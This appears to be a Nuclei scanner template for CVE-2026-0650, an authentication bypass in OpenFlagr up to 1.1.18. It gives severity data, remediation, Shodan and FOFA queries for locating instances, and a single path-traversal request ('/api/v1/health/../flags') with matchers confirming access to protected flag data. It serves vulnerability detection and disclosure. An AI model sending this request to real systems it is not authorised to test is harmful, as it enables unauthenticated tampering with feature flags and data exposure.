OpenFlagr <= 1.1.18 - Authentication Bypass

id: CVE-2026-0650

info:
  name: OpenFlagr <= 1.1.18 - Authentication Bypass
  author: str4k3r
  severity: critical
  description: |
    OpenFlagr <= 1.1.18 contains an authentication bypass caused by improper path normalization handling in HTTP middleware whitelist logic, letting attackers access protected API endpoints without valid credentials, exploit requires crafted requests.
  impact: |
    Attackers can bypass authentication to modify feature flags and export sensitive data, compromising system integrity and confidentiality.
  remediation: |
    Update to the latest version beyond 1.1.18.
  reference:
    - https://github.com/advisories/GHSA-rwp9-5g7q-73q3
    - https://github.com/openflagr/flagr/commit/fe83dc87aa404a57554aa5839ac450f55c203570
    - https://dreyand.rs/code%20review/golang/2026/01/03/0day-speedrun-openflagr-less-1118-authentication-bypass
    - https://nvd.nist.gov/vuln/detail/CVE-2026-0650
  classification:
    cve-id: CVE-2026-0650
    epss-score: 0.00564
    epss-percentile: 0.4481
    cwe-id: CWE-22
    cvss-score: 9.3
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
  metadata:
    vendor: openflagr
    product: flagr
    verified: true
    max-request: 1
    shodan-query: http.html:"Flagr"
    fofa-query: body="Flagr"
  tags: cve,cve2026,openflagr,authbypass,unauth,traversal

http:
  - raw:
      - |
        GET /api/v1/health/../flags HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"dataRecordsEnabled\"", "\"variants\"", "\"key\"")'
        condition: and
# digest: 490a004630440220407880fba5296a89e27bdc7c3de8f261842122a7673985b180ea7711343a34b002205356b3db8af9a76bebc18668c5e7138249f41d487a869d2a75d4afcfcdd79eb4:922c64590222798bb761d5b6d8e72950